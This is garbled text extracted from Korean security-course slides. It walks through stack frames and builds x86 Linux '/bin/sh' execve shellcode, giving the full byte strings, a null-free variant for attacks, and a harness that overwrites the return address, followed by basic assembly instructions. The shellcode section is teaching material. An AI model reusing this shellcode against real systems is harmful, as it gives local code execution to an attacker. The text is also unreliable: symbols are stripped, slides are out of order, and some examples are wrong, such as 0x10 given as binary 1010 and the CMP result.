➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 26: 80×86  시스템에 대한 이해

26108

레지스터 간접 주소 지정 lsquo 세그멘트 오프셋rsquo형식을 사용

다음과 같이 기본이 아닌 세그먼트를 강제로 지정 할 수도 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX] MOV AL [BP]

MOV AL CS[BX] MOV AL DS[BP]

27108

인덱스 주소 지정 레지스터 간접 지정 방식에 변위가 더해진 메모리 주소 지정 방식 ( 예 )20h 만큼 더해 메모리를 참조한 명령

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+20h] MOV AL [BP+20h]

MOV AL 20h[BX] MOV AL 20h[BP]

28108

베이스 인덱스 주소 지정 실제 주소 생성 위해 베이스 레지스터 (BX 또는 BP) 와

인덱스 레지스터 (DI 또는 SI) 를 결합

2 차원 배열의 주소 지정에 사용

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI] MOV AL [BP+SI]

MOV AL [BX][SI] MOV AL [BP][SI]

29108

변위를 갖는 베이스 인덱스 주소 지정 베이스 - 인덱스의 변형으로 실제 주소 생성 위해

베이스 레지스터 인덱스 레지스터 변위 결합

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI+20h] MOV AL [BP+SI+20h]

30108

어셈블리어의 기본 명령 산술 연산 명령 기본적인 정수 계산

bull ADD(Add) 제 1 피연산자와 제 2 피연산자 값을 더한 결과 값을 제 1 피 연산자에 저장

bull SUB(Subtract) 제 1 피연산자에서 제 2 피연산자 값을 뺀 결과 값을 제 1 피연산자에 저장

bull CMP(Compare) 데이터의 두 값 비교 시 사용 lsquocmp a brsquo 의 경우 a 에서 b 를 뺀 값이0 이면 참

어셈블리어의 기본 문법과 명령

형식ADD [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

ADD AL 4

AL 이 원래 3이었다면 명령 실행 후 AL은 7이 된다

형식SUB [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

SUB AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

형식CMP [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

CMP AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

31108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

ADC Add with Carry 캐리를 포함한 덧셈을 수행한다

SBB Subtraction with borrow 캐리를 포함한 뺄셈을 수행한다

DEC Decrement 피연산자 내용을 하나 감소시킨다

NEG Change Sign 피연산자의 2 의 보수 즉 부호를 반전한다

INC Increment 피연산자 내용을 하나 증가시킨다

AAA ASCII adjust for add덧셈 결과의 AL 값을 UNPACK 10진수로 보정한다

DAA Decimal adjust for add 덧셈 결과의 AL 값을 PACK 10진수로 보정한다

AAS ASCII adjust for subtract뺄셈 결과의 AL 값을 UNPACK 10진수로 보정한다

32108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

DAS Decimal adjust for subtract 뺄셈 결과의 AL 값을 PACK 10진수로 보정한다

MUL Multiply(Unsigned) AX 와 피연산자의 곱셈 결과를 AX 또는 DXAX 에 저장한다

IMUL Integer Multiply(Signed) 부호화된 곱셈을 수행한다

AAM ASCII adjust for Multiply 곱셈 결과의 AX 값을 UNPACK 10진수로 보정한다

DIV Divide(Unsigned)AX 또는 DXAX 내용을 피연산자로 나눈다

몫은 AL 또는 AX 에 저장하고 나머지는 AH 또는 DX 에 저장한다

IDIV Integer Divide(Signed) 부호화된 나눗셈

AAD ASCII adjust for Divide 나눗셈 결과 AX 값을 UNPACK 10진수로 보정한다

CBW Convert byte to word AL 의 바이트 데이터를 부호 비트를 포함하여 AX 워드로 확장한다

CWDConvert word to double word

AX 의 워드 데이터를 부호를 포함하여 DXAX 의 더블 워드로 변환한다

33108

어셈블리어의 기본 명령 데이터 전송 명령 메모리 범용 레지스터 세그먼트 레지스터로 참조되는 주소에

존재하는 데이터 전송

bull MOV(Move) 데이터 이동할 때 사용

BP 의 현재 값이 0x10000004 라면 BP+8은 0x1000000C

0x1000000C 에 있는 값이 1024므로 AX 에는 1024 가 입력

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용 예

MOV AX [BP+8]

BP 의 주소에 8 더해진 주소에 있는 데이터

값을 AX 에 대입한다

34108

어셈블리어의 기본 명령 PUSH(Push) 스택에 데이터를 삽입할 때 사용

[ 그림 2-19] 와 같이 스택은 커지고 스택 포인터 (Stack Pointer)는

데이터 크기만큼 감소

어셈블리어의 기본 문법과 명령

35108

어셈블리어의 기본 명령 POP(Pop) 스택에서 데이터 삭제할 때 사용 스택에서 삭제된 명령은 반환 값으로

받아 사용 가능 [ 그림 2-20] 과 같이 스택 포인터는 삭제하는 데이터

크기만큼 증가

어셈블리어의 기본 문법과 명령

36108

어셈블리어의 기본 명령 LEA(Load effective address to register) 데이터의 값 이동할 때 사용

MOV 명령과 LEA 명령에서 제 1 피연산자는 데이터 이동 공통 제 2 피연산자에 대 한

추가 연산의 처리 방식은 다르다

제 2 피연산자에lsquo BP+4rsquo 가 있을 경우 MOV 명령은 lsquo BP+4rsquo 를 하나의 주소 값으로처리

LEA 명령은 lsquo BPrsquo 만 주소 값으로 인식 lsquo +4rsquo 는 BP 주소 값에 대한 추가 연산으로 처리

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

LEA AX [BP+4]

BP 의 현재 값이 0times10000004 라면 MOV 명령

처럼 BP+4 인 0times10000008 의 주소 값을 가져

오는 것이 아니라 0times10000004 의 주소에 있

는 값에 4 를 더해 AX 에 대입한다 ([ 그림 2-21] 참고 )

37108

어셈블리어의 기본 명령 기타 데이터 전송 명령 [ 표 2-8] 기타 데이터 전송 명령

어셈블리어의 기본 문법과 명령

명령 설명

XCHGExchange Register

Memory with Register

첫 번째 피연산자와 두 번째 피연산자를 바꾼다

INInput from AL AX to Fixed port

피연산자로 지시된 포트로 AX 에 데이터를 입력한다

OUTOutput from ALAX to Fixed port

피연산자가 지시한 포트로 AX 의 데이터를 출력한다

XLATTranslate byte to AL

BXAL 이 지시한 테이블의 내용을 AL 로 로드한다

LDS Load Pointer to DSLEA 명령과 유사한 방식으로 다른 DS 데이터의 주소의 내용을 참조 시

사용한다

LES Load Pointer to ESLEA 명령과 유사한 방식으로 다른 ES 데이터의 주소의 내용을 참조 시

사용한다

LAHF Load AH with Flags 플래그의 내용을 AH 의 특정 비트로 로드한다

SAHF Store AH into Flags AH 의 특정 비트를 플래그 레지스터로 전송한다

PUSHF Push Flags 플래그 레지스터의 내용을 스택에 삽입한다

POPF Pop Flags 스택에 저장되어 있던 플래그 레지스터 값을 삭제한다

38108

어셈블리어의 기본 명령 논리 명령 연산부호가 논리연산을 지정하는 명령으로 자리옮김 논리 합 (OR)

논리곱 (AND) 기호 변환 등이 있다bull AND(And) 대응되는 비트가 둘 다 1 일 때만 결과가 1 이고 그 이외는 모두 0

어셈블리어의 기본 문법과 명령

형식 AND [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

AND AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1000이 된다

AX 1 0 0 0

0times10h 1 0 1 0

AND 연산 결과 1 0 0 0

39108

어셈블리어의 기본 명령

bull OR(Or) 대응되는 비트 중 하나만 1 이어도 결과가 1 이고 둘 다 0 인 경우에만 0

어셈블리어의 기본 문법과 명령

형식 OR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

OR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 1 0 1 0

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

